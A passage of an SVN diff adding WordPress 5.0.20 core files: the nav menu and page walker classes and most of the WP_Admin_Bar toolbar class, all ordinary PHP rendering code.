+	 * @param int      $id     Current item ID.
+	 */
+	public function start_el( &$output, $item, $depth = 0, $args = array(), $id = 0 ) {
+		if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) {
+			$t = '';
+			$n = '';
+		} else {
+			$t = "\t";
+			$n = "\n";
+		}
+		$indent = ( $depth ) ? str_repeat( $t, $depth ) : '';
+
+		$classes = empty( $item->classes ) ? array() : (array) $item->classes;
+		$classes[] = 'menu-item-' . $item->ID;
+
+		/**
+		 * Filters the arguments for a single nav menu item.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param stdClass $args  An object of wp_nav_menu() arguments.
+		 * @param WP_Post  $item  Menu item data object.
+		 * @param int      $depth Depth of menu item. Used for padding.
+		 */
+		$args = apply_filters( 'nav_menu_item_args', $args, $item, $depth );
+
+		/**
+		 * Filters the CSS class(es) applied to a menu item's list item element.
+		 *
+		 * @since 3.0.0
+		 * @since 4.1.0 The `$depth` parameter was added.
+		 *
+		 * @param array    $classes The CSS classes that are applied to the menu item's `<li>` element.
+		 * @param WP_Post  $item    The current menu item.
+		 * @param stdClass $args    An object of wp_nav_menu() arguments.
+		 * @param int      $depth   Depth of menu item. Used for padding.
+		 */
+		$class_names = join( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item, $args, $depth ) );
+		$class_names = $class_names ? ' class="' . esc_attr( $class_names ) . '"' : '';
+
+		/**
+		 * Filters the ID applied to a menu item's list item element.
+		 *
+		 * @since 3.0.1
+		 * @since 4.1.0 The `$depth` parameter was added.
+		 *
+		 * @param string   $menu_id The ID that is applied to the menu item's `<li>` element.
+		 * @param WP_Post  $item    The current menu item.
+		 * @param stdClass $args    An object of wp_nav_menu() arguments.
+		 * @param int      $depth   Depth of menu item. Used for padding.
+		 */
+		$id = apply_filters( 'nav_menu_item_id', 'menu-item-'. $item->ID, $item, $args, $depth );
+		$id = $id ? ' id="' . esc_attr( $id ) . '"' : '';
+
+		$output .= $indent . '<li' . $id . $class_names .'>';
+
+		$atts = array();
+		$atts['title']  = ! empty( $item->attr_title ) ? $item->attr_title : '';
+		$atts['target'] = ! empty( $item->target )     ? $item->target     : '';
+		$atts['rel']    = ! empty( $item->xfn )        ? $item->xfn        : '';
+		$atts['href']   = ! empty( $item->url )        ? $item->url        : '';
+
+		/**
+		 * Filters the HTML attributes applied to a menu item's anchor element.
+		 *
+		 * @since 3.6.0
+		 * @since 4.1.0 The `$depth` parameter was added.
+		 *
+		 * @param array $atts {
+		 *     The HTML attributes applied to the menu item's `<a>` element, empty strings are ignored.
+		 *
+		 *     @type string $title  Title attribute.
+		 *     @type string $target Target attribute.
+		 *     @type string $rel    The rel attribute.
+		 *     @type string $href   The href attribute.
+		 * }
+		 * @param WP_Post  $item  The current menu item.
+		 * @param stdClass $args  An object of wp_nav_menu() arguments.
+		 * @param int      $depth Depth of menu item. Used for padding.
+		 */
+		$atts = apply_filters( 'nav_menu_link_attributes', $atts, $item, $args, $depth );
+
+		$attributes = '';
+		foreach ( $atts as $attr => $value ) {
+			if ( ! empty( $value ) ) {
+				$value = ( 'href' === $attr ) ? esc_url( $value ) : esc_attr( $value );
+				$attributes .= ' ' . $attr . '="' . $value . '"';
+			}
+		}
+
+		/** This filter is documented in wp-includes/post-template.php */
+		$title = apply_filters( 'the_title', $item->title, $item->ID );
+
+		/**
+		 * Filters a menu item's title.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param string   $title The menu item's title.
+		 * @param WP_Post  $item  The current menu item.
+		 * @param stdClass $args  An object of wp_nav_menu() arguments.
+		 * @param int      $depth Depth of menu item. Used for padding.
+		 */
+		$title = apply_filters( 'nav_menu_item_title', $title, $item, $args, $depth );
+
+		$item_output = $args->before;
+		$item_output .= '<a'. $attributes .'>';
+		$item_output .= $args->link_before . $title . $args->link_after;
+		$item_output .= '</a>';
+		$item_output .= $args->after;
+
+		/**
+		 * Filters a menu item's starting output.
+		 *
+		 * The menu item's starting output only includes `$args->before`, the opening `<a>`,
+		 * the menu item's title, the closing `</a>`, and `$args->after`. Currently, there is
+		 * no filter for modifying the opening and closing `<li>` for a menu item.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param string   $item_output The menu item's starting HTML output.
+		 * @param WP_Post  $item        Menu item data object.
+		 * @param int      $depth       Depth of menu item. Used for padding.
+		 * @param stdClass $args        An object of wp_nav_menu() arguments.
+		 */
+		$output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $item, $depth, $args );
+	}
+
+	/**
+	 * Ends the element output, if needed.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @see Walker::end_el()
+	 *
+	 * @param string   $output Used to append additional content (passed by reference).
+	 * @param WP_Post  $item   Page data object. Not used.
+	 * @param int      $depth  Depth of page. Not Used.
+	 * @param stdClass $args   An object of wp_nav_menu() arguments.
+	 */
+	public function end_el( &$output, $item, $depth = 0, $args = array() ) {
+		if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) {
+			$t = '';
+			$n = '';
+		} else {
+			$t = "\t";
+			$n = "\n";
+		}
+		$output .= "</li>{$n}";
+	}
+
+} // Walker_Nav_Menu
Index: /tags/5.0.20/src/wp-includes/class-walker-page-dropdown.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-walker-page-dropdown.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-walker-page-dropdown.php	(revision 56912)
@@ -0,0 +1,87 @@
+<?php
+/**
+ * Post API: Walker_PageDropdown class
+ *
+ * @package WordPress
+ * @subpackage Post
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used to create an HTML drop-down list of pages.
+ *
+ * @since 2.1.0
+ *
+ * @see Walker
+ */
+class Walker_PageDropdown extends Walker {
+
+	/**
+	 * What the class handles.
+	 *
+	 * @since 2.1.0
+	 * @var string
+	 *
+	 * @see Walker::$tree_type
+	 */
+	public $tree_type = 'page';
+
+	/**
+	 * Database fields to use.
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 *
+	 * @see Walker::$db_fields
+	 * @todo Decouple this
+	 */
+	public $db_fields = array( 'parent' => 'post_parent', 'id' => 'ID' );
+
+	/**
+	 * Starts the element output.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @see Walker::start_el()
+	 *
+	 * @param string  $output Used to append additional content. Passed by reference.
+	 * @param WP_Post $page   Page data object.
+	 * @param int     $depth  Optional. Depth of page in reference to parent pages. Used for padding.
+	 *                        Default 0.
+	 * @param array   $args   Optional. Uses 'selected' argument for selected page to set selected HTML
+	 *                        attribute for option element. Uses 'value_field' argument to fill "value"
+	 *                        attribute. See wp_dropdown_pages(). Default empty array.
+	 * @param int     $id     Optional. ID of the current page. Default 0 (unused).
+	 */
+	public function start_el( &$output, $page, $depth = 0, $args = array(), $id = 0 ) {
+		$pad = str_repeat('&nbsp;', $depth * 3);
+
+		if ( ! isset( $args['value_field'] ) || ! isset( $page->{$args['value_field']} ) ) {
+			$args['value_field'] = 'ID';
+		}
+
+		$output .= "\t<option class=\"level-$depth\" value=\"" . esc_attr( $page->{$args['value_field']} ) . "\"";
+		if ( $page->ID == $args['selected'] )
+			$output .= ' selected="selected"';
+		$output .= '>';
+
+		$title = $page->post_title;
+		if ( '' === $title ) {
+			/* translators: %d: ID of a post */
+			$title = sprintf( __( '#%d (no title)' ), $page->ID );
+		}
+
+		/**
+		 * Filters the page title when creating an HTML drop-down list of pages.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param string $title Page title.
+		 * @param object $page  Page data object.
+		 */
+		$title = apply_filters( 'list_pages', $title, $page );
+
+		$output .= $pad . esc_html( $title );
+		$output .= "</option>\n";
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-walker-page.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-walker-page.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-walker-page.php	(revision 56912)
@@ -0,0 +1,231 @@
+<?php
+/**
+ * Post API: Walker_Page class
+ *
+ * @package WordPress
+ * @subpackage Template
+ * @since 4.4.0
+ */
+
+/**
+ * Core walker class used to create an HTML list of pages.
+ *
+ * @since 2.1.0
+ *
+ * @see Walker
+ */
+class Walker_Page extends Walker {
+
+	/**
+	 * What the class handles.
+	 *
+	 * @since 2.1.0
+	 * @var string
+	 *
+	 * @see Walker::$tree_type
+	 */
+	public $tree_type = 'page';
+
+	/**
+	 * Database fields to use.
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 *
+	 * @see Walker::$db_fields
+	 * @todo Decouple this.
+	 */
+	public $db_fields = array( 'parent' => 'post_parent', 'id' => 'ID' );
+
+	/**
+	 * Outputs the beginning of the current level in the tree before elements are output.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @see Walker::start_lvl()
+	 *
+	 * @param string $output Used to append additional content (passed by reference).
+	 * @param int    $depth  Optional. Depth of page. Used for padding. Default 0.
+	 * @param array  $args   Optional. Arguments for outputting the next level.
+	 *                       Default empty array.
+	 */
+	public function start_lvl( &$output, $depth = 0, $args = array() ) {
+		if ( isset( $args['item_spacing'] ) && 'preserve' === $args['item_spacing'] ) {
+			$t = "\t";
+			$n = "\n";
+		} else {
+			$t = '';
+			$n = '';
+		}
+		$indent = str_repeat( $t, $depth );
+		$output .= "{$n}{$indent}<ul class='children'>{$n}";
+	}
+
+	/**
+	 * Outputs the end of the current level in the tree after elements are output.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @see Walker::end_lvl()
+	 *
+	 * @param string $output Used to append additional content (passed by reference).
+	 * @param int    $depth  Optional. Depth of page. Used for padding. Default 0.
+	 * @param array  $args   Optional. Arguments for outputting the end of the current level.
+	 *                       Default empty array.
+	 */
+	public function end_lvl( &$output, $depth = 0, $args = array() ) {
+		if ( isset( $args['item_spacing'] ) && 'preserve' === $args['item_spacing'] ) {
+			$t = "\t";
+			$n = "\n";
+		} else {
+			$t = '';
+			$n = '';
+		}
+		$indent = str_repeat( $t, $depth );
+		$output .= "{$indent}</ul>{$n}";
+	}
+
+	/**
+	 * Outputs the beginning of the current element in the tree.
+	 *
+	 * @see Walker::start_el()
+	 * @since 2.1.0
+	 *
+	 * @param string  $output       Used to append additional content. Passed by reference.
+	 * @param WP_Post $page         Page data object.
+	 * @param int     $depth        Optional. Depth of page. Used for padding. Default 0.
+	 * @param array   $args         Optional. Array of arguments. Default empty array.
+	 * @param int     $current_page Optional. Page ID. Default 0.
+	 */
+	public function start_el( &$output, $page, $depth = 0, $args = array(), $current_page = 0 ) {
+		if ( isset( $args['item_spacing'] ) && 'preserve' === $args['item_spacing'] ) {
+			$t = "\t";
+			$n = "\n";
+		} else {
+			$t = '';
+			$n = '';
+		}
+		if ( $depth ) {
+			$indent = str_repeat( $t, $depth );
+		} else {
+			$indent = '';
+		}
+
+		$css_class = array( 'page_item', 'page-item-' . $page->ID );
+
+		if ( isset( $args['pages_with_children'][ $page->ID ] ) ) {
+			$css_class[] = 'page_item_has_children';
+		}
+
+		if ( ! empty( $current_page ) ) {
+			$_current_page = get_post( $current_page );
+			if ( $_current_page && in_array( $page->ID, $_current_page->ancestors ) ) {
+				$css_class[] = 'current_page_ancestor';
+			}
+			if ( $page->ID == $current_page ) {
+				$css_class[] = 'current_page_item';
+			} elseif ( $_current_page && $page->ID == $_current_page->post_parent ) {
+				$css_class[] = 'current_page_parent';
+			}
+		} elseif ( $page->ID == get_option('page_for_posts') ) {
+			$css_class[] = 'current_page_parent';
+		}
+
+		/**
+		 * Filters the list of CSS classes to include with each page item in the list.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @see wp_list_pages()
+		 *
+		 * @param array   $css_class    An array of CSS classes to be applied
+		 *                              to each list item.
+		 * @param WP_Post $page         Page data object.
+		 * @param int     $depth        Depth of page, used for padding.
+		 * @param array   $args         An array of arguments.
+		 * @param int     $current_page ID of the current page.
+		 */
+		$css_classes = implode( ' ', apply_filters( 'page_css_class', $css_class, $page, $depth, $args, $current_page ) );
+
+		if ( '' === $page->post_title ) {
+			/* translators: %d: ID of a post */
+			$page->post_title = sprintf( __( '#%d (no title)' ), $page->ID );
+		}
+
+		$args['link_before'] = empty( $args['link_before'] ) ? '' : $args['link_before'];
+		$args['link_after'] = empty( $args['link_after'] ) ? '' : $args['link_after'];
+
+		$atts = array();
+		$atts['href'] = get_permalink( $page->ID );
+
+		/**
+		 * Filters the HTML attributes applied to a page menu item's anchor element.
+		 *
+		 * @since 4.8.0
+		 *
+		 * @param array $atts {
+		 *     The HTML attributes applied to the menu item's `<a>` element, empty strings are ignored.
+		 *
+		 *     @type string $href The href attribute.
+		 * }
+		 * @param WP_Post $page         Page data object.
+		 * @param int     $depth        Depth of page, used for padding.
+		 * @param array   $args         An array of arguments.
+		 * @param int     $current_page ID of the current page.
+		 */
+		$atts = apply_filters( 'page_menu_link_attributes', $atts, $page, $depth, $args, $current_page );
+
+		$attributes = '';
+		foreach ( $atts as $attr => $value ) {
+			if ( ! empty( $value ) ) {
+				$value = esc_attr( $value );
+				$attributes .= ' ' . $attr . '="' . $value . '"';
+			}
+		}
+
+		$output .= $indent . sprintf(
+			'<li class="%s"><a%s>%s%s%s</a>',
+			$css_classes,
+			$attributes,
+			$args['link_before'],
+			/** This filter is documented in wp-includes/post-template.php */
+			apply_filters( 'the_title', $page->post_title, $page->ID ),
+			$args['link_after']
+		);
+
+		if ( ! empty( $args['show_date'] ) ) {
+			if ( 'modified' == $args['show_date'] ) {
+				$time = $page->post_modified;
+			} else {
+				$time = $page->post_date;
+			}
+
+			$date_format = empty( $args['date_format'] ) ? '' : $args['date_format'];
+			$output .= " " . mysql2date( $date_format, $time );
+		}
+	}
+
+	/**
+	 * Outputs the end of the current element in the tree.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @see Walker::end_el()
+	 *
+	 * @param string  $output Used to append additional content. Passed by reference.
+	 * @param WP_Post $page   Page data object. Not used.
+	 * @param int     $depth  Optional. Depth of page. Default 0 (unused).
+	 * @param array   $args   Optional. Array of arguments. Default empty array.
+	 */
+	public function end_el( &$output, $page, $depth = 0, $args = array() ) {
+		if ( isset( $args['item_spacing'] ) && 'preserve' === $args['item_spacing'] ) {
+			$t = "\t";
+			$n = "\n";
+		} else {
+			$t = '';
+			$n = '';
+		}
+		$output .= "</li>{$n}";
+	}
+
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-admin-bar.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-admin-bar.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-admin-bar.php	(revision 56912)
@@ -0,0 +1,603 @@
+<?php
+/**
+ * Toolbar API: WP_Admin_Bar class
+ *
+ * @package WordPress
+ * @subpackage Toolbar
+ * @since 3.1.0
+ */
+
+/**
+ * Core class used to implement the Toolbar API.
+ *
+ * @since 3.1.0
+ */
+class WP_Admin_Bar {
+	private $nodes = array();
+	private $bound = false;
+	public $user;
+
+	/**
+	 * @param string $name
+	 * @return string|array|void
+	 */
+	public function __get( $name ) {
+		switch ( $name ) {
+			case 'proto' :
+				return is_ssl() ? 'https://' : 'http://';
+
+			case 'menu' :
+				_deprecated_argument( 'WP_Admin_Bar', '3.3.0', 'Modify admin bar nodes with WP_Admin_Bar::get_node(), WP_Admin_Bar::add_node(), and WP_Admin_Bar::remove_node(), not the <code>menu</code> property.' );
+				return array(); // Sorry, folks.
+		}
+	}
+
+	/**
+	 */
+	public function initialize() {
+		$this->user = new stdClass;
+
+		if ( is_user_logged_in() ) {
+			/* Populate settings we need for the menu based on the current user. */
+			$this->user->blogs = get_blogs_of_user( get_current_user_id() );
+			if ( is_multisite() ) {
+				$this->user->active_blog = get_active_blog_for_user( get_current_user_id() );
+				$this->user->domain = empty( $this->user->active_blog ) ? user_admin_url() : trailingslashit( get_home_url( $this->user->active_blog->blog_id ) );
+				$this->user->account_domain = $this->user->domain;
+			} else {
+				$this->user->active_blog = $this->user->blogs[get_current_blog_id()];
+				$this->user->domain = trailingslashit( home_url() );
+				$this->user->account_domain = $this->user->domain;
+			}
+		}
+
+		add_action( 'wp_head', 'wp_admin_bar_header' );
+
+		add_action( 'admin_head', 'wp_admin_bar_header' );
+
+		if ( current_theme_supports( 'admin-bar' ) ) {
+			/**
+			 * To remove the default padding styles from WordPress for the Toolbar, use the following code:
+			 * add_theme_support( 'admin-bar', array( 'callback' => '__return_false' ) );
+			 */
+			$admin_bar_args = get_theme_support( 'admin-bar' );
+			$header_callback = $admin_bar_args[0]['callback'];
+		}
+
+		if ( empty($header_callback) )
+			$header_callback = '_admin_bar_bump_cb';
+
+		add_action('wp_head', $header_callback);
+
+		wp_enqueue_script( 'admin-bar' );
+		wp_enqueue_style( 'admin-bar' );
+
+		/**
+		 * Fires after WP_Admin_Bar is initialized.
+		 *
+		 * @since 3.1.0
+		 */
+		do_action( 'admin_bar_init' );
+	}
+
+	/**
+	 * @param array $node
+	 */
+	public function add_menu( $node ) {
+		$this->add_node( $node );
+	}
+
+	/**
+	 * @param string $id
+	 */
+	public function remove_menu( $id ) {
+		$this->remove_node( $id );
+	}
+
+	/**
+	 * Adds a node to the menu.
+	 *
+	 * @since 3.1.0
+	 * @since 4.5.0 Added the ability to pass 'lang' and 'dir' meta data.
+	 *
+	 * @param array $args {
+	 *     Arguments for adding a node.
+	 *
+	 *     @type string $id     ID of the item.
+	 *     @type string $title  Title of the node.
+	 *     @type string $parent Optional. ID of the parent node.
+	 *     @type string $href   Optional. Link for the item.
+	 *     @type bool   $group  Optional. Whether or not the node is a group. Default false.
+	 *     @type array  $meta   Meta data including the following keys: 'html', 'class', 'rel', 'lang', 'dir',
+	 *                          'onclick', 'target', 'title', 'tabindex'. Default empty.
+	 * }
+	 */
+	public function add_node( $args ) {
+		// Shim for old method signature: add_node( $parent_id, $menu_obj, $args )
+		if ( func_num_args() >= 3 && is_string( func_get_arg(0) ) )
+			$args = array_merge( array( 'parent' => func_get_arg(0) ), func_get_arg(2) );
+
+		if ( is_object( $args ) )
+			$args = get_object_vars( $args );
+
+		// Ensure we have a valid title.
+		if ( empty( $args['id'] ) ) {
+			if ( empty( $args['title'] ) )
+				return;
+
+			_doing_it_wrong( __METHOD__, __( 'The menu ID should not be empty.' ), '3.3.0' );
+			// Deprecated: Generate an ID from the title.
+			$args['id'] = esc_attr( sanitize_title( trim( $args['title'] ) ) );
+		}
+
+		$defaults = array(
+			'id'     => false,
+			'title'  => false,
+			'parent' => false,
+			'href'   => false,
+			'group'  => false,
+			'meta'   => array(),
+		);
+
+		// If the node already exists, keep any data that isn't provided.
+		if ( $maybe_defaults = $this->get_node( $args['id'] ) )
+			$defaults = get_object_vars( $maybe_defaults );
+
+		// Do the same for 'meta' items.
+		if ( ! empty( $defaults['meta'] ) && ! empty( $args['meta'] ) )
+			$args['meta'] = wp_parse_args( $args['meta'], $defaults['meta'] );
+
+		$args = wp_parse_args( $args, $defaults );
+
+		$back_compat_parents = array(
+			'my-account-with-avatar' => array( 'my-account', '3.3' ),
+			'my-blogs'               => array( 'my-sites',   '3.3' ),
+		);
+
+		if ( isset( $back_compat_parents[ $args['parent'] ] ) ) {
+			list( $new_parent, $version ) = $back_compat_parents[ $args['parent'] ];
+			_deprecated_argument( __METHOD__, $version, sprintf( 'Use <code>%s</code> as the parent for the <code>%s</code> admin bar node instead of <code>%s</code>.', $new_parent, $args['id'], $args['parent'] ) );
+			$args['parent'] = $new_parent;
+		}
+
+		$this->_set_node( $args );
+	}
+
+	/**
+	 * @param array $args
+	 */
+	final protected function _set_node( $args ) {
+		$this->nodes[ $args['id'] ] = (object) $args;
+	}
+
+	/**
+	 * Gets a node.
+	 *
+	 * @param string $id
+	 * @return object Node.
+	 */
+	final public function get_node( $id ) {
+		if ( $node = $this->_get_node( $id ) )
+			return clone $node;
+	}
+
+	/**
+	 * @param string $id
+	 * @return object|void
+	 */
+	final protected function _get_node( $id ) {
+		if ( $this->bound )
+			return;
+
+		if ( empty( $id ) )
+			$id = 'root';
+
+		if ( isset( $this->nodes[ $id ] ) )
+			return $this->nodes[ $id ];
+	}
+
+	/**
+	 * @return array|void
+	 */
+	final public function get_nodes() {
+		if ( ! $nodes = $this->_get_nodes() )
+			return;
+
+		foreach ( $nodes as &$node ) {
+			$node = clone $node;
+		}
+		return $nodes;
+	}
+
+	/**
+	 * @return array|void
+	 */
+	final protected function _get_nodes() {
+		if ( $this->bound )
+			return;
+
+		return $this->nodes;
+	}
+
+	/**
+	 * Add a group to a menu node.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param array $args {
+	 *     Array of arguments for adding a group.
+	 *
+	 *     @type string $id     ID of the item.
+	 *     @type string $parent Optional. ID of the parent node. Default 'root'.
+	 *     @type array  $meta   Meta data for the group including the following keys:
+	 *                         'class', 'onclick', 'target', and 'title'.
+	 * }
+	 */
+	final public function add_group( $args ) {
+		$args['group'] = true;
+
+		$this->add_node( $args );
+	}
+
+	/**
+	 * Remove a node.
+	 *
+	 * @param string $id The ID of the item.
+	 */
+	public function remove_node( $id ) {
+		$this->_unset_node( $id );
+	}
+
+	/**
+	 * @param string $id
+	 */
+	final protected function _unset_node( $id ) {
+		unset( $this->nodes[ $id ] );
+	}
+
+	/**
+	 */
+	public function render() {
+		$root = $this->_bind();
+		if ( $root )
+			$this->_render( $root );
+	}
+
+	/**
+	 * @return object|void
+	 */
+	final protected function _bind() {
+		if ( $this->bound )
+			return;
+
+		// Add the root node.
+		// Clear it first, just in case. Don't mess with The Root.
+		$this->remove_node( 'root' );
+		$this->add_node( array(
+			'id'    => 'root',
+			'group' => false,
+		) );
+
+		// Normalize nodes: define internal 'children' and 'type' properties.
+		foreach ( $this->_get_nodes() as $node ) {
+			$node->children = array();
+			$node->type = ( $node->group ) ? 'group' : 'item';
+			unset( $node->group );
+
+			// The Root wants your orphans. No lonely items allowed.
+			if ( ! $node->parent )
+				$node->parent = 'root';
+		}
+
+		foreach ( $this->_get_nodes() as $node ) {
+			if ( 'root' == $node->id )
+				continue;
+
+			// Fetch the parent node. If it isn't registered, ignore the node.
+			if ( ! $parent = $this->_get_node( $node->parent ) ) {
+				continue;
+			}
+
+			// Generate the group class (we distinguish between top level and other level groups).
+			$group_class = ( $node->parent == 'root' ) ? 'ab-top-menu' : 'ab-submenu';
+
+			if ( $node->type == 'group' ) {
+				if ( empty( $node->meta['class'] ) )
+					$node->meta['class'] = $group_class;
+				else
+					$node->meta['class'] .= ' ' . $group_class;
+			}
+
+			// Items in items aren't allowed. Wrap nested items in 'default' groups.
+			if ( $parent->type == 'item' && $node->type == 'item' ) {
+				$default_id = $parent->id . '-default';
+				$default    = $this->_get_node( $default_id );
+
+				// The default group is added here to allow groups that are
+				// added before standard menu items to render first.
+				if ( ! $default ) {
+					// Use _set_node because add_node can be overloaded.
+					// Make sure to specify default settings for all properties.
+					$this->_set_node( array(
+						'id'        => $default_id,
+						'parent'    => $parent->id,
+						'type'      => 'group',
+						'children'  => array(),
+						'meta'      => array(
+							'class'     => $group_class,
+						),
+						'title'     => false,
+						'href'      => false,
+					) );
+					$default = $this->_get_node( $default_id );
+					$parent->children[] = $default;
+				}
+				$parent = $default;
+
+			// Groups in groups aren't allowed. Add a special 'container' node.
+			// The container will invisibly wrap both groups.
+			} elseif ( $parent->type == 'group' && $node->type == 'group' ) {
+				$container_id = $parent->id . '-container';
+				$container    = $this->_get_node( $container_id );
+
+				// We need to create a container for this group, life is sad.
+				if ( ! $container ) {
+					// Use _set_node because add_node can be overloaded.
+					// Make sure to specify default settings for all properties.
+					$this->_set_node( array(
+						'id'       => $container_id,
+						'type'     => 'container',
+						'children' => array( $parent ),
+						'parent'   => false,
+						'title'    => false,
+						'href'     => false,
+						'meta'     => array(),
+					) );
+
+					$container = $this->_get_node( $container_id );
+
+					// Link the container node if a grandparent node exists.
+					$grandparent = $this->_get_node( $parent->parent );
+
+					if ( $grandparent ) {
+						$container->parent = $grandparent->id;
+
+						$index = array_search( $parent, $grandparent->children, true );
+						if ( $index === false )
+							$grandparent->children[] = $container;
+						else
+							array_splice( $grandparent->children, $index, 1, array( $container ) );
+					}
+
+					$parent->parent = $container->id;
+				}
+
+				$parent = $container;
+			}
+
+			// Update the parent ID (it might have changed).
+			$node->parent = $parent->id;
+
+			// Add the node to the tree.
+			$parent->children[] = $node;
+		}
+
+		$root = $this->_get_node( 'root' );
+		$this->bound = true;
+		return $root;
+	}
+
+	/**
+	 *
+	 * @global bool $is_IE
+	 * @param object $root
+	 */
+	final protected function _render( $root ) {
+		global $is_IE;
+
+		// Add browser classes.
+		// We have to do this here since admin bar shows on the front end.
+		$class = 'nojq nojs';
+		if ( $is_IE ) {
+			if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'MSIE 7' ) )
+				$class .= ' ie7';
+			elseif ( strpos( $_SERVER['HTTP_USER_AGENT'], 'MSIE 8' ) )
+				$class .= ' ie8';
+			elseif ( strpos( $_SERVER['HTTP_USER_AGENT'], 'MSIE 9' ) )
+				$class .= ' ie9';
+		} elseif ( wp_is_mobile() ) {
+			$class .= ' mobile';
+		}
+
+		?>
+		<div id="wpadminbar" class="<?php echo $class; ?>">
+			<?php if ( ! is_admin() ) { ?>
+				<a class="screen-reader-shortcut" href="#wp-toolbar" tabindex="1"><?php _e( 'Skip to toolbar' ); ?></a>
+			<?php } ?>
+			<div class="quicklinks" id="wp-toolbar" role="navigation" aria-label="<?php esc_attr_e( 'Toolbar' ); ?>" tabindex="0">
+				<?php foreach ( $root->children as $group ) {
+					$this->_render_group( $group );
+				} ?>
+			</div>
+			<?php if ( is_user_logged_in() ) : ?>
+			<a class="screen-reader-shortcut" href="<?php echo esc_url( wp_logout_url() ); ?>"><?php _e('Log Out'); ?></a>
+			<?php endif; ?>
+		</div>
+
+		<?php
+	}
+
+	/**
+	 * @param object $node
+	 */
+	final protected function _render_container( $node ) {
+		if ( $node->type != 'container' || empty( $node->children ) )
+			return;
+
+		?><div id="<?php echo esc_attr( 'wp-admin-bar-' . $node->id ); ?>" class="ab-group-container"><?php
+			foreach ( $node->children as $group ) {
+				$this->_render_group( $group );
+			}
+		?></div><?php
+	}
+
+	/**
+	 * @param object $node
+	 */
+	final protected function _render_group( $node ) {
+		if ( $node->type == 'container' ) {
+			$this->_render_container( $node );
+			return;
+		}
+		if ( $node->type != 'group' || empty( $node->children ) )
+			return;
+
+		if ( ! empty( $node->meta['class'] ) )
+			$class = ' class="' . esc_attr( trim( $node->meta['class'] ) ) . '"';
+		else
+			$class = '';
+
+		?><ul id="<?php echo esc_attr( 'wp-admin-bar-' . $node->id ); ?>"<?php echo $class; ?>><?php
+			foreach ( $node->children as $item ) {
+				$this->_render_item( $item );
+			}
+		?></ul><?php
+	}
+
+	/**
+	 * @param object $node
+	 */
+	final protected function _render_item( $node ) {
+		if ( $node->type != 'item' )
+			return;
+
+		$is_parent = ! empty( $node->children );
+		$has_link  = ! empty( $node->href );
+
+		// Allow only numeric values, then casted to integers, and allow a tabindex value of `0` for a11y.
+		$tabindex = ( isset( $node->meta['tabindex'] ) && is_numeric( $node->meta['tabindex'] ) ) ? (int) $node->meta['tabindex'] : '';
+		$aria_attributes = ( '' !== $tabindex ) ? ' tabindex="' . $tabindex . '"' : '';
+
+		$menuclass = '';
+
+		if ( $is_parent ) {
+			$menuclass = 'menupop ';
+			$aria_attributes .= ' aria-haspopup="true"';
+		}
+
+		if ( ! empty( $node->meta['class'] ) )
+			$menuclass .= $node->meta['class'];
+
+		if ( $menuclass )
+			$menuclass = ' class="' . esc_attr( trim( $menuclass ) ) . '"';
+
+		?>
+
+		<li id="<?php echo esc_attr( 'wp-admin-bar-' . $node->id ); ?>"<?php echo $menuclass; ?>><?php
+			if ( $has_link ):
+				?><a class="ab-item"<?php echo $aria_attributes; ?> href="<?php echo esc_url( $node->href ) ?>"<?php
+					if ( ! empty( $node->meta['onclick'] ) ) :
+						?> onclick="<?php echo esc_js( $node->meta['onclick'] ); ?>"<?php
+					endif;
+				if ( ! empty( $node->meta['target'] ) ) :
+					?> target="<?php echo esc_attr( $node->meta['target'] ); ?>"<?php
+				endif;
+				if ( ! empty( $node->meta['title'] ) ) :
+					?> title="<?php echo esc_attr( $node->meta['title'] ); ?>"<?php
+				endif;
+				if ( ! empty( $node->meta['rel'] ) ) :
+					?> rel="<?php echo esc_attr( $node->meta['rel'] ); ?>"<?php
+				endif;
+				if ( ! empty( $node->meta['lang'] ) ) :
+					?> lang="<?php echo esc_attr( $node->meta['lang'] ); ?>"<?php
+				endif;
+				if ( ! empty( $node->meta['dir'] ) ) :
+					?> dir="<?php echo esc_attr( $node->meta['dir'] ); ?>"<?php
+				endif;
+				?>><?php
+			else:
+				?><div class="ab-item ab-empty-item"<?php echo $aria_attributes;
+				if ( ! empty( $node->meta['title'] ) ) :
+					?> title="<?php echo esc_attr( $node->meta['title'] ); ?>"<?php
+				endif;
+				if ( ! empty( $node->meta['lang'] ) ) :
+					?> lang="<?php echo esc_attr( $node->meta['lang'] ); ?>"<?php
+				endif;
+				if ( ! empty( $node->meta['dir'] ) ) :
+					?> dir="<?php echo esc_attr( $node->meta['dir'] ); ?>"<?php
+				endif;
+				?>><?php
+			endif;
+
+			echo $node->title;
+
+			if ( $has_link ) :
+				?></a><?php
+			else:
+				?></div><?php
+			endif;
+
+			if ( $is_parent ) :
+				?><div class="ab-sub-wrapper"><?php
+					foreach ( $node->children as $group ) {
+						$this->_render_group( $group );
+					}
+				?></div><?php
+			endif;
+
+			if ( ! empty( $node->meta['html'] ) )
+				echo $node->meta['html'];
+
+			?>
+		</li><?php
+	}
+
+	/**
+	 * Renders toolbar items recursively.
+	 *
+	 * @since 3.1.0
+	 * @deprecated 3.3.0 Use WP_Admin_Bar::_render_item() or WP_Admin_bar::render() instead.
+	 * @see WP_Admin_Bar::_render_item()
+	 * @see WP_Admin_Bar::render()
